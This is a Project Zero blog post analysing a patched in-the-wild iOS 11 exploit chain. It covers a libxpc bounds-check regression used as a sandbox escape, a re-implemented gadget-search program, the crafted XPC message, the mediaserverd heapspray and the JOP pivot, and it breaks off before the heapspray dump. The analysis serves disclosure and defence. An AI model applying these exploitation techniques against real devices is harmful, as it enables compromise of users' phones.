Thursday, August 29, 2019

In-the-wild iOS Exploit Chain 3

Posted by Ian Beer, Project Zero


TL;DR

This chain targeted iOS 11-11.4.1, spanning almost 10 months. This is the first chain we observed which had a separate sandbox escape exploit.

The sandbox escape vulnerability was a severe security regression in libxpc, where refactoring lead to a < bounds check becoming a != comparison against the boundary value. The value being checked was read directly from an IPC message, and used to index an array to fetch a function pointer.  

It’s difficult to understand how this error could be introduced into a core IPC library that shipped to end users. While errors are common in software development, a serious one like this should have quickly been found by a unit test, code review or even fuzzing. It’s especially unfortunate as this location would naturally be one of the first ones an attacker would look, as I detail below.

In-the-wild iOS Exploit Chain 3 - XPC + VXD393/D5500 repeated IOFree

targets: 5s through X, 11.0 through 11.4

Devices:
iPhone6,1 (5s, N51AP)
iPhone6,2 (5s, N53AP)
iPhone7,1 (6 plus, N56AP)
iPhone7,2 (6, N61AP)
iPhone8,1 (6s, N71AP)
iPhone8,2 (6s plus, N66AP)
iPhone8,4 (SE, N69AP)
iPhone9,1 (7, D10AP)
iPhone9,2 (7 plus, D11AP)
iPhone9,3 (7, D101AP)
iPhone9,4 (7 plus, D111AP)
iPhone10,1 (8, D20AP)
iPhone10,2 (8 plus, D21AP)
iPhone10,3 (X, D22AP)
iPhone10,4 (8, D201AP)
iPhone10,5 (8 plus, D211AP)
iPhone10,6 (X, D221AP)

Versions:
15A372 (11.0 - 19 Sep 2017)
15A402 (11.0.1 - 26 Sep 2017)
15A403 (11.0.2 - 26 Sep 2017 - seems to be 8/8plus only, which didn't get 15A402)
15A421 (11.0.2 - 3 Oct 2017)
15A432 (11.0.3 - 11 Oct 2017)
15B93 (11.1 - 31 Oct 2017)
15B150 (11.1.1 - 9 Nov 2017)
15B202 (11.1.2 - 16 Nov 2017)
15C114 (11.2 - 2 Dec 2017)
15C153 (11.2.1 - 13 Dec 2017)
15C202 (11.2.2 - 8 Jan 2018)
15D60 (11.2.5 - 23 Jan 2018)
15D100 (11.2.6 - 19 Feb 2018)
15E216 (11.3 - 29 Mar 2018)
15E302 (11.3.1 - 24 Apr 2018)
15F79 (11.4 - 29 May 2018)

first unsupported version: 11.4.1 - 9 July 2018

Binary structure

Starting from this third chain the privesc binaries have a different structure. Rather than using the system loader and linking against the required symbols, they instead resolve all the required symbols themselves via dlsym (with the address of dlsym getting passed in from the JSC exploit.) Here's a snippet from the start of the symbol resolution function:

  syscall  = dlsym(RTLD_DEFAULT, "syscall");
  memcpy   = dlsym(RTLD_DEFAULT, "memcpy");
  memset   = dlsym(RTLD_DEFAULT, "memset");
  mach_msg = dlsym(RTLD_DEFAULT, "mach_msg");
  stat     = dlsym(RTLD_DEFAULT, "stat");
  open     = dlsym(RTLD_DEFAULT, "open");
  read     = dlsym(RTLD_DEFAULT, "read");
  close    = dlsym(RTLD_DEFAULT, "close");
  ...

Interestingly, this seems to be an append-only list, and there are plenty of symbols which aren't used. In Appendix A I've enumerated those, and guessed what bugs they might have been targeting with earlier versions of this framework.

Checking for prior compromise
Like PE2, after the kernel exploit has successfully run they make a system modification which can be observed from inside the sandbox. This time they add the string "iop114" to the device bootargs which can be read from inside the WebContent sandbox via the kern.bootargs sysctl:


  sysctlbyname("kern.bootargs", bootargs, &v7, 0LL, 0LL);
  if (strcmp(bootargs, "iop114")) {
    syslog(0, "to sleep ...");
    while (1)
      sleep(1000);
  }

Unchecked array index in xpc

XPC (which probably stands for "Cross"-Process Communication) is an IPC mechanism which uses mach messages as a transport layer. It was introduced in 2011 around the time of iOS 5. XPC messages are serialized object trees, typically with a dictionary at the root. XPC also contains functionality for exposing and managing named services; newer IPC services tend to be built on XPC rather than the legacy MIG system.

XPC was marketed as a security boundary; at the 2011 Apple World Wide Developers Conference (WWDC) Apple explicitly stated the benefits of isolation via XPC as "Little to no harm if service is exploited" and that it "Minimizes impact of exploits." Unfortunately, there has been a long history of bugs in XPC; both in the core library as well as in how services used its APIs. See for example the following P0 issues: 80, 92, 121, 130, 1247, 1713. Core XPC bugs are quite useful, as they allow you to target any process which uses XPC.

This particular bug appears to have been introduced via some refactoring in iOS 11 in the way that the XPC code parses serialized xpc dictionary objects in "fast mode". Here's the old code:

struct _context {
  xpc_dictionary* dict;
  char* target_key;
  xpc_serializer* result;
  int* found
};

int64 
_xpc_dictionary_look_up_wire_apply(
  char *current_key,
  xpc_serializer* serializer,
  struct _context *context)
{
  if ( !current_key )
    return 0;

  if (strcmp(context->target_key, current_key))
    return _skip_value(serializer);

  // key matches; result is current state of serializer
  memcpy(context->result, serializer, 0xB0);
  *(context->found) = 1;
  return 0;
}


An xpc_serializer object is a wrapper around a raw, unparsed XPC message. (The xpc_serializer type is responsible for both serialization and deserialization.)

Here's an example serialized XPC message:


Diagram showing a byte-by-byte breakdown of a simple xpc object serialized in to a mach message. It shows the basic serialization format used by XPC of 32-bit type identifiers (eg 0x9000 for a string, 0x4000 for a uint64) followed by the values of the types, with either variable or fixed lengths.

In XPC's "slow mode" an incoming message is completely deserialized into XPC objects when it's received. The fast mode instead attempts to lazily search for values inside the serialized dictionaries when they're first requested, rather than parsing everything upfront. It does this by comparing the keys in the serialized dictionary against the desired key; if the current key doesn't match they call skip_value to jump over the payload value of the current key to the next key in the serialized XPC dictionary object.

int skip_value(xpc_serializer* serializer)
{
  uint32_t wireid;
  uint64_t wire_length;

  wireid = read_id(xpc_serializer);

  if (wireid == 0x1A000)
    return 0LL;

  wire_length = xpc_types[wireid >> 12]->wire_length(serializer);

  if (wire_length == -1 ||
      wire_length > serializer->remaining)
    return 0;
  
  // skip over the value
  xpc_serializer_advance(serializer, wire_length);
  return 1;
}


uint32_t read_id(xpc_serializer* serializer)
{
  // ensure there are 4 bytes to be read; return pointer to them
  wireid_ptr = xpc_serializer_read(serializer, 4, 0, 0);
  if ( !wireid_ptr )
    return 0x1A000;

  uint32_t wireid = *wireid_ptr;
  uint32_t typeid = wireid >> 12;

  // if any bits other than 12-20 are set,
  // or the type_index is 0, fail
  if (wireid & 0xFFF00FFF ||
      typeid == 0
      typeid >= _xpc_ntypes) { // 0x19
    return 0x1A000LL;
  }

  return wireid;
}

skip_value first calls read_id, which reads 4 bytes from the serialized message. Those four bytes are the wireid value, which tells XPC the type of the serialized value. read_id also verifies that the wireid is valid: the xpc typeid is contained in bits 12-20 of the wireid, only those bits may be set and the value of the typeid must be greater than zero and less than 0x19. If these conditions aren't met then read_id returns the sentinel wireid value of 0x1A000. skip_id checks for this sentinel return value from read_id and aborts. If read_id returns a valid wireid value, then skip_id uses the typeid bits to index the xpc_types array and call a function pointer read indirectly from there.

Let's take a look at how this code changed in iOS 11. The prototype for xpc_dictionary_look_up_wire_apply is unchanged:


int64 
_xpc_dictionary_look_up_wire_apply(
  char *current_key,
  xpc_serializer* serializer,
  struct _context *context)
{
  if (!current_key)
    return 0;

  if (strcmp(context->target_key, current_key))
    return skip_id_and_value(serializer);

  memcpy(context->result, serializer, 0xB0);
  *(context->found) = 1;
  return 0;
}

The call to skip_value has been replaced with a call to skip_id_and_value however:


int64 skip_id_and_value(xpc_serializer* serializer)
{
  uint32_t* wireid_ptr = xpc_serializer_read(serializer, 4, 0, 0);
  if (!wireid_ptr)
    return 0;

  uint32_t wireid = *wireid_ptr;
  if (wireid != 0x1B000)
    return skip_value(xpc_serializer, wireid);
  
  return 0;
}

There's no call to read_id anymore (which was responsible for both reading and verifying the id) instead skip_id_and_value reads the four byte wireid value itself. Curiously it compares the four-byte wireid value against 0x1B000. Is this comparison supposed to actually be something like this?


  wireid < 0x1B000

Something seems very wrong.

The controlled wireid value, which can now be any value apart from 0x1B000, is passed to skip_value; which has a different prototype to before now taking a wireid in addition to the xpc_serializer:


int64
skip_value(xpc_serializer* serializer, uint32_t wireid)
{
  // declare function pointer
  uint32_t (wire_length_fptr*)(xpc_serializer*);

  wire_length_fptr = xpc_wire_length_from_wire_id(wireid);
  uint32_t wire_length = wire_length_fptr(serializer)

  if (wire_length == -1 ||
      wire_length > serializer->remaining) {
    return 0;
  }
  xpc_serializer_advance(serializer, wire_length);
  return 1;
}


uint32_t (*)(xpc_serializer*)
xpc_wire_length_from_wire_id(uint32_t wireid)
{
  return xpc_types[wireid >> 12]->wire_length;
}

Not only has the prototype of skip_value changed; the precondition has changed too: it used to be the case that skip_value was responsible for verifying the wireid value in the message. That's no longer the case. The wireid value is passed directly to xpc_wire_length_from_wire_id where the lower 12-bits are shifted out and the upper 20 are used to directly index the xpc_types array. xpc_types is an array of pointers to Objective-C classes; the field at +0x90 is the wire_length function pointer, which will be called by skip_value.


What happened to all the bounds checking? Lots of code changed subtly here; the semantics of the functions changed and in the end a correct bounds check seems to have become a comparison against just a single invalid value.

Looking at the other xpc_wire_length_from_wire_id call-sites they are all dominated by calls to _xpc_class_id_from_wire_valid, which actually validates the wireid:

int xpc_class_id_from_wire_valid(uint32_t wireid)
{
  if (((wire_id - 0x1000) < 0x1A000) &&
      ((wire_id & 0xFFF00F00) == 0)) {
    return 1;
  }
  return 0;
}

It's very simple to hit this bug; anywhere between iOS 11.0 and 11.4.1 just flip a few bits in an XPC message and you'll probably hit it. This is why I believe that fuzzing or a unit test would have quickly found this issue.

XPC eXploitation
Let's take a closer look at exactly what will happen when the vulnerability is triggered:

int64 skip_id_and_value(xpc_serializer* serializer)
{
  uint32_t* wireid_ptr = xpc_serializer_read(serializer, 4, 0, 0);
  if (!wireid_ptr)
    return 0;

  uint32_t wireid = *wireid_ptr;
  if (wireid != 0x1B000)
    return skip_value(xpc_serializer, wireid);


xpc_serializer_read returns a pointer into the raw mach message buffer; it's just ensuring that there are at least 4 bytes left to read. As long as those 4 bytes don't contain the value 0x1B000, they'll pass the checks.

Let's look at the iOS 11 version of skip_value again:

int64
skip_value(xpc_serializer* serializer, uint32_t wireid)
{
  // declare function pointer
  uint32_t (wire_length_fptr*)(xpc_serializer*);

  wire_length_fptr = xpc_wire_length_from_wire_id(wireid);
  uint32_t wire_length = wire_length_fptr(serializer)

Each XPC type (eg xpc_dictionary, xpc_string, xpc_uint64) defines a function to determine how large their serialized payload is. For fixed-sized objects, such as an xpc_uint64, this will just return a constant (an xpc_uint64 payload is always 8 bytes):


__xpc_uint64_wire_length
MOV   W0, #8
RET

Similarly, an xpc_uuid object always has a 0x10 byte payload:


__xpc_uuid_wire_length
MOV   W0, #0x10
RET

For variable-sized types the length needs to be read from the serialized object:


__xpc_string_wire_length
B     __xpc_wire_length

All variable-sized xpc objects record their size in bytes directly after their wireid, so _xpc_wire_length just reads the next 4 bytes without consuming them.

_xpc_wire_length_from_wire_id looks up the correct function pointer to call:


uint32_t (*)(xpc_serializer*)
xpc_wire_length_from_wire_id(uint32_t wireid)
{
  return xpc_types[wireid >> 12]->wire_length;
}

xpc_types is an array of pointers to the relevant Objective-C class objects:


__xpc_types:
libxpc:__const:DCQ 0
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_null
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_bool
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_int64
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_uint64
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_double
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_pointer
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_date
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_data
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_string
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_uuid
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_fd
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_shmem
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_send
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_array
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_dictionary
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_error
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_connection
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_endpoint
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_serializer
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_pipe
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_recv
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_bundle
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_service
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_service_instance
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_activity
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_file_transfer
__xpc_ool_types:
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_fd
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_shmem
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_send
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_connection
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_endpoint
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_recv
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_file_transfer

The value at offset +0x90 in each xpc type's class object is its wire_length function pointer. That function pointer will be called with one argument, which is a pointer to the current xpc_serializer object.

This gives quite an interesting exploitation primitive:

They control an array index i, which can be between 0x1c and 0x100000 (since it's the upper 20 bits of the controlled wireid value). That will index the xpc_types array, in the const segment of the libxpc.dylib library in the shared cache. The code will read the pointer at the offset they provide (without bounds checking) then call the function pointer at offset +0x90 from that:

Diagram showing the series of pointer dereferences as a consequence of the unchecked array bounds. The unchecked index reads off of the end of the xpc_types array, reading an objective-c class pointer out-of-bounds. A function pointer is called at offset +0x90 from that class pointer.


When F_PTR gets called, no register will point to controlled data. X0 will point to the current xpc_serializer, so that seems like the logical choice for targeting to make something more interesting happen. The relevant fields of an xpc_serializer object which can be indirectly controlled are:

+0x28 = buffer
+0x30 = buffer_size
+0x38 = current_position_in_buffer_ptr
+0x40 = remaining to be consumed
+0x48 = NULL

So the goal is to find a value i between 0x1C and 0x100000 such that the i'th pointer from the start of the xpc_types array contains a pointer to a structure, which at offset +0x90 has a function pointer which when called will do something interesting with the values at offsets +0x28 or +0x38 from X0, probably calling a function pointer from there and giving better register control.

Sounds fun! How do they do it?

One in a million

At runtime they check each possible value of i, looking for a situation where F_PTR ends up pointing to code which matches one of the two following signatures:

Candidate A:
upper 8 bits of previous instruction must be 0x17
upper 16 bits of target F_PTR instruction must be 0x17ff
next instruction must be 0xd1004000 (sub x0, x0, #0x10)

Candidate B:
gadget pointer must point to a sequence of 9 instructions matching the following template
0 STP             X20, X19, [SP,#-0x20]!
1 STP             X29, X30, [SP,#0x10]
2 ADD             X29, SP, #0x10
3 MOV             X19, X0
4 *
5 *
6 add x9, x8, #0x10
7 *
8 add x8, x8, #0x1e0

I re-implemented their gadget search code and tested it on a few devices to see what it finds:

#include "xpc.h"
#include <dlfcn.h>
#include <string.h>

int syscall(int, ...);

void* xpc_null_create(void);

void find_it() {
  void* handle = dlopen("/usr/lib/system/libxpc.dylib", 2);
  if (!handle) {
    printf("unable to dlopen libxpc\n");
    return;
  }
    
  printf("handle: %p\n", handle);
    
  void* xpc_type_null = dlsym(handle, "_xpc_type_null");
  printf("xpc_type_null: %p\n", xpc_type_null);
    
  void** xpc_null = xpc_null_create();
  printf("xpc_null: %p\n", xpc_null);
    
  xpc_null -= 2;
  uint8_t* xpc_types = NULL;
    
  for (int i = 0; i < 0x10000; i++) {
    if (*xpc_null == xpc_type_null) {
      xpc_types = (uint8_t*)(xpc_null - 1);
      break;
    }
    xpc_null--;
  }
    
  if (xpc_types == NULL) {
    printf("didn't find xpc_types\n");
    return;
  }
    
  printf("found xpc_types here: %p\n", xpc_types);
    
  uint8_t* shared_cache_base = NULL;
  syscall(294, &shared_cache_base);
  printf("shared_cache_base: %p\n", shared_cache_base);
    
  // how big is the cache mapping which we can potentially point to?
  uint32_t mapping_offset = *(uint32_t*)(shared_cache_base+0x10);
  uint32_t n_mappings = *(uint32_t*)(shared_cache_base+0x14);
    
  uint8_t* mapping_info = shared_cache_base+mapping_offset;
    
  uint64_t cache_size = 0;  
  for (int i = 0; i < n_mappings-1; i++) {
    cache_size += *(uint64_t*)(mapping_info+0x08);
    mapping_info += 0x20;
  }
    
  printf("cache_size: %llx\n", cache_size);
    
  for (int i = 0; i < 0x7fffff; i++) {
    // try each typeid and see what gadget we hit:
    uint8_t* type_struct_ptr = (xpc_types + (8*i));
    uint8_t* type_struct = *(uint8_t**)(type_struct_ptr);
        
    if ((type_struct > shared_cache_base) &&
        (type_struct < (shared_cache_base+cache_size)))
    {
      uint8_t* fptr = *(uint8_t**)(type_struct+0x90);
      if (fptr > shared_cache_base && fptr < (shared_cache_base + cache_size))
      {
        // try the shorter signature
        if (instr[-1] >> 0x18 == 0x17 &&
            instr[0] >> 0x10 == 0x17ff &&
            instr[1] == 0xD1004000) {
            printf("shorter sequence match at %p\n", fptr);
         }
                
        // try the longer signature
        uint32_t gadget[4] = {0xA9BE4FF4,  // STP X20, X19, [SP,#-0x20]!
                              0xA9017BFD,  // STP X29, X30, [SP,#0x10]
                              0x910043FD,  // ADD X29, SP, #0x10
                              0xAA0003F3}; // MOV  X19, X0
        uint32_t* instr = (uint32_t*)fptr;

        if((memcmp(fptr, (void*)gadget, 0x10) == 0) &&
           instr[6] == 0x91004109 &&       // ADD X9, X8, #0x10
           instr[8] == 0x91078108)         // ADD X8, X8, #0x1e0
        {
          printf("potential initial match here: %p\n", fptr);
        }
      }
    }
  }
  printf("done\n");
}

The candidate B signature matches the following function in libfontparser:

TXMLSplicedFont::~TXMLSplicedFont(TXMLSplicedFont *__hidden this)

var_10= -0x10
var_s0=  0

STP   X20, X19, [SP,#-0x10+var_10]!
STP   X29, X30, [SP,#0x10+var_s0]
ADD   X29, SP, #0x10
MOV   X19, X0
ADRP  X8, #__ZTV15TXMLSplicedFont@PAGE ; `vtable for'TXMLSplicedFont
ADD   X8, X8, #__ZTV15TXMLSplicedFont@PAGEOFF ; `vtable for'TXMLSplicedFont
ADD   X9, X8, #0x10
STR   X9, [X19]
ADD   X8, X8, #0x1E0
STR   X8, [X19,#0x10]
ADD   X0, X19, #0x48 ; 'H' ; this
BL    __ZN13TCFDictionaryD2Ev ; TCFDictionary::~TCFDictionary()
ADD   X0, X19, #0x30 ; '0' ; this
BL    __ZN26TDataForkFileDataReferenceD1Ev ; TDataForkFileDataReference::~TDataForkFileDataReference()
MOV   X0, X19 ; this
LDP   X29, X30, [SP,#0x10+var_s0]
LDP   X20, X19, [SP+0x10+var_10],#0x20
B     __ZN5TFontD2Ev ; TFont::~TFont()

Candidate A matches a branch instruction to that same code:

B     0x1856b1cd4 ; TXMLSplicedFont::~TXMLSplicedFont()

Let's step through that TXMLSplicedFont destructor code to see what happens. Remember that at this point X0 points to an xpc_serializer object:

MOV   X19, X0
ADRP  X8, #__ZTV15TXMLSplicedFont@PAGE ; `vtable for'TXMLSplicedFont
ADD   X8, X8, #__ZTV15TXMLSplicedFont@PAGEOFF ; `vtable for'TXMLSplicedFont
ADD   X9, X8, #0x10
STR   X9, [X19]

This writes the TXMLSplicedFont vtable pointer over the first 8 bytes of the xpc_serializer; no problem.

ADD   X8, X8, #0x1E0
STR   X8, [X19,#0x10]

This writes another vtable pointer over the 8 bytes at offset +0x10; still fine.

ADD   X0, X19, #0x48 ; 'H' ; this
BL    __ZN13TCFDictionaryD2Ev ; TCFDictionary::~TCFDictionary()

This adds 0x48 to X0 and passes that pointer value as the first argument to the TCFDictionary destructor:

void
TCFDictionary::~TCFDictionary(TCFDictionary *__hidden this)

var_10= -0x10
var_s0=  0

STP   X20, X19, [SP,#-0x10+var_10]!
STP   X29, X30, [SP,#0x10+var_s0]
ADD   X29, SP, #0x10
MOV   X19, X0
LDR   X0, [X19]
CBZ   X0, loc_18428B484
...
loc_18428B484
MOV   X0, X19
LDP   X29, X30, [SP,#0x10+var_s0]
LDP   X20, X19, [SP+0x10+var_10],#0x20
RET

Since the value at +0x48 will be NULL, this will just return. Back in ~TXMLSplicedFont:

ADD   X0, X19, #0x30 ; '0' ; this
BL    __ZN26TDataForkFileDataReferenceD1Ev ;TDataForkFileDataReference::~TDataForkFileDataReference()

This adds 0x30 to the xpc_serializer pointer and passes that to the TDataForkFileDataReference destructor:

TDataForkFileDataReference::~TDataForkFileDataReference(TDataForkFileDataReference *__hidden this)
B     __ZN18TFileDataSurrogateD2Ev ; TFileDataSurrogate::~TFileDataSurrogate()

This directly calls the TFileDataSurrogate destructor:

void
TFileDataSurrogate::~TFileDataSurrogate(TFileDataSurrogate *__hidden this)

var_18= -0x18
var_10= -0x10
var_s0=  0

SUB   SP, SP, #0x30
STP   X20, X19, [SP,#0x20+var_10]
STP   X29, X30, [SP,#0x20+var_s0]
ADD   X29, SP, #0x20
MOV   X19, X0
ADRP  X8, #__ZTV18TFileDataSurrogate@PAGE ; `vtable for'TFileDataSurrogate
ADD  X8, X8, #__ZTV18TFileDataSurrogate@PAGEOFF ; `vtable for'TFileDataSurrogate
ADD  X8, X8, #0x10
STR  X8, [X19] ; trash +0x30; no problem
LDR  X0, [X19,#8] ; read from serializer+0x38, which is the pointer to the current position in the buffer
LDR  X8, [X0,#0x18]! ; read at offset +0x18, and bump up X0 to point to there
LDR  X8, [X8,#0x20] ; X8 is controlled now; read function pointer
BLR  X8 ; control!

On entry to this function X0 points 0x30 bytes into the xpc_serializer object. Let's recall the those xpc_serializer fields again:

+0x28 = buffer
+0x30 = buffer_size
+0x38 = current_position_in_buffer_ptr
+0x40 = remaining to be consumed
+0x48 = NULL

STR  X8, [X19] will overwrite the buffer_size field with a vtable; could be interesting but it at least won't cause anything bad to happen right away.

The next instruction LDR  X0, [X19,#8] will load the xpc_serializer buffer position pointer in to X0; now X0 points in to the serialized xpc message buffer. They're definitely getting closer to arbitrary control now.

LDR  X8, [X0,#0x18]! will load the 8-byte value at offset +0x18 from the current xpc_serializer buffer position into X8, and update X0 to point to there. That means X8 could be arbitrarily-controlled, depending on the structure of the serialized XPC message.

The final two instructions then load a function pointer from an offset from X8 and call it:

LDR  X8, [X8,#0x20]
BLR  X8

It's quite neat really. I'd be interested to know the process behind finding this target gadget; it's a good candidate for techniques like symbolic execution. It could also have been found by just testing all the possible values and looking for interesting-looking crashes.

The message

At first glance (and a few subsequent glances) the code in the exploit which builds the trigger XPC message looks like it surely can't be a trigger:

xpc_dictionary = xpc_dictionary_create(0LL, 0LL, 0LL);
xpc_true = xpc_bool_create(1);
xpc_dictionary_set_value(xpc_dictionary, crafted_dict_entry_key_containing_value, xpc_true);
xpc_dictionary_set_value(xpc_dictionary, invalid_dict_entry_key, xpc_connection);
xpc_connection_send_message(xpc_connection, xpc_dictionary);

They create an XPC dictionary with two keys, and two values, then send it...? There must be more than meets the eye here, and indeed there is :)

Here's xpc_connection_serialize, circa iOS 11.0:

int64
xpc_connection_serialize(xpc_object* connection, xpc_serializer* serializer)
{
  syslog(3, "Connections cannot be directly embedded in messages. You must create an endpoint from the connection.");
}

All it does is log an error message and return. The problem here is that this gets the serializer out-of-sync. Specifically the xpc_dictionary serializer doesn't expect to be serializing non-serializable objects such as xpc_connections. The XPC dictionary serialization format is essentially a total length, followed by a sequence of alternating null-terminated keys and values. If a value serializer doesn't emit any bytes (such as the xpc_connection one above) then the serializer will continue to emit the next key in the dictionary, and then the next value. But there is no way in XPC to have a serialized dictionary key with no value; which means the XPC deserialization code is going to interpret the bytes of the following key as the previous key's value! Note that this isn't a security issue; the sender has arbitrary control of these bytes anyway, but it's a very neat trick to avoid having to write an entire XPC serialization library.

Diagram showing the relevant bytes of the serialized xpc object containing the invalid wire ID value. These are keys and values in an XPC dictionary object. The first key is a string of 'A's. This is followed by the bad_wireID value then another string of 0x18 'A's and then a pointer to the heapspray target address of 0x120808080. Using the xpc_connection serializer trick the bad_wireID, second 'A's and heapspray target are all provided as a key, rather than a value, making the serialization process much simpler for the attackers.


This is the relevant section of the serialized xpc dictionary. Using the xpc_connection_serialize trick the second key will be sent where a value should be such that the xpc lazy deserialization code will see the bad_wireID value as a wire_ID. When the out-of-bounds read occurs the xpc_serializer's current buffer position pointer will point just after the bad_wireID value. 0x18 bytes after that is a pointer to an address they target with a heapspray, and at offset +0x20 from that address a function pointer will be read and called.

Heapspray

They've reached the point where they need controlled data at a controlled address. The attackers decided to use a heapspray rather than do this in a controlled way (by for example using another bug to allow them to disclose remote pointers.)

They actually use two similar primitives to spray a large number memory regions and mach port send rights in the target process.

I and others have published many writeups over the years about MIG and it's complex ownership semantics. The focus was on places where those semantics lead to exploitable vulnerability, but those same complex semantics can lead to resource leaks which is precisely what the attackers are after here.

We'll return to the contents of the heapspray region later, but for now let's see how they leak it in the mediaserverd process. This daemon is targeted because its sandbox profile allows it to open a connection to the vulnerable IOKit driver used in the kernel exploit.

mediaserverd

mediaserverd hosts a lot of services; the attackers target com.apple.coremedia.recorder which is implemented in the Celestial framework. The targeted service starts with FigRecorderServerStart which calls bootstrap_check_in to get a receive right to vend the service. That port gets wrapped in a CFMachPort by CFMachPortCreateWithPort. From that CFMachPort they create a run loop source via CFMachPortCreateRunLoopSource. This sets up a basic mach message event handling system, where the following function will be called by the run loop code when a mach message is received on the service port:

void
FIG_recorder_mach_msg_handler(CFMachPortRef cfport,
                              mach_msg_header_t *request_msg
                              CFIndex size,
                              void* info)
{
  char reply_msg[0x290];
  kern_return_t err;
  if ( request_msg->msgh_id == MACH_NOTIFY_DEAD_NAME ) {
    mach_dead_name_notification_t* notification =
      (mach_dead_name_notification_t*) request_msg;
    mach_port_name_t dead_name = notification->not_port;
    ...
    // look dead_name up in a linked-list and destroy
    // some resources if found
    ...
    // calls mach_port_deallocate
    FigMachPortReleaseSendRight(dead_name, 0, 0, 0, 0);
  } else {
    FIG_demux(request_msg, (mach_msg_header_t*)reply_msg);
    mach_msg((mach_msg_header_t*)reply_msg,
             1,
             reply_msg.msgh_size,
             0,
             0,
             0,
             0);
   }
 }

CFMachPorts are a very simple wrapper around receiving mach messages; they know nothing about MIG. The callback for the CFMachPort must then take care of it.

This code presents many issues. Firstly, an anti-pattern that seems common across Apple code is the failure to check that the notification isn't spoofed; really the only proper way to correctly handle mach port lifetime notification messages is to never multiplex them onto service ports. They also parse the potentially spoofed message incorrectly; MACH_NOTIFY_DEAD_NAME notification messages don't carry rights and don't have the MSGH_COMPLEX bit set, yet they still drop a send right on a port name read from the body of the message.

But those bugs aren't relevant to what we're looking at; in the else branch they call the auto-generated MIG demux function:

int
FIG_demux(mach_msg_header_t *msg_request, mach_msg_header_t *msg_reply)
{
  mig_routine_t routine;

  msg_reply->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(msg_request->msgh_bits), 0);
  msg_reply->msgh_remote_port = msg_request->msgh_remote_port;

  msg_reply->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
  msg_reply->msgh_id = msg_request->msgh_id + 100;
  msg_reply->msgh_local_port = MACH_PORT_NULL;
  msg_reply->msgh_reserved = 0;

  routine_index = msg_request->msgh_id - 12080;
  routine = FigRecorderRemoteServer_figrecorder_subsystem[method_index].stub_routine;

  if (routine_index > 0x16 || !routine) {
    (mig_reply_error_t *)msg_reply->NDR = NDR_record_0;
    (mig_reply_error_t *)msg_reply->RetCode = MIG_BAD_ID;
    return FALSE;
  }

  (routine)(msg_request, msg_reply);
  return TRUE;
}

Note that it does return a value indicating whether the message was passed to a handler routine or not. But this is ignored by their CFMachPort handler. The CFMachPort handler also fails to check what the MIG return code was; and they completely fail to handle the cases when either the MIG method failed (and therefore, shouldn't have kept handles to any resources) or the msgh_id wasn't recognised (and therefore the request message wasn't handled at all.) This means that any unexpected messages will just be ignored rather than correctly destroyed (via eg mach_msg_destroy) and any resources contained in those messages will be leaked in the server process.

The exploit sends a mach message with msgh_id of 51, which isn't recognised by the FigRecorderRemoteServer_figrecorder_subsystem, so any resources contained in it are immediately leaked.

They send a mach message with 1,000 OOL memory descriptors, each of which contains 10MBs of copies of the same target 4kB block of memory containing the heapspray. They hope that one of these ends up  at the heapspray target address of 0x120808000. The virtual memory for received OOL memory descriptors will be allocated in the receiver by the kernel, via mach_vm_allocate. This uses a very basic lowest-to-highest first fit algorithm for allocation. This heapspray technique is therefore quite reliable, and due to the virtual memory optimisations used by XNU when sending OOL memory, quite low-overhead too.

As well as spraying memory they also spray mach port send rights; again abusing the fact that com.apple.coremedia.recorder doesn't implement a proper MIG server. They allocate over 12,000 receive rights; give themselves a send right to each, then move the receive rights into a portset. They send all the send rights via an out-of-line ports descriptor to the service, where the  names are promptly leaked because of the improper message handling.

The reason they send so many send rights is to be able to guess a mach port name which will be valid in the mediaserverd task and for which the attacker holds the receive right. Then by sending mach messages to that port they can exfiltrate resources (such as IOKit user client connections) from the target.

JOP2ROP

The initial PC control sequence we saw earlier ended like this:

LDR  X8, [X0,#0x18]! ; read at offset +0x18, and bump up x0 to point to there
LDR  X8, [X8,#0x20]  ; X8 is controlled now; read function pointer
BLR  X8           ; PC control!

At the start of that sequence, X0 points to the end of the bad wireid value, so the first instruction will read a controlled qword from 0x18 bytes past the wireid into X8. The ! after the memory operand means that X0 will be post-updated, meaning it will have 0x18 added to it after this instruction has used the value. 0x18 bytes past the bad wireid value they put the heapspray target pointer (0x120808080), so X8 has the value 0x120808080, and X0 is a pointer to the value 0x120808080.

The second instruction reads a qword from 0x1208080A0 into X8, and the third instruction calls that value.

Here's an annotated dump of the heapspray region which actually serves three separate purposes:
  1. places initial JOP gadget pointers at know locations
  2. is pivoted to as the ROP stack
  3. contains the outline mach messages to be sent back to the attackers process via the sprayed send rights

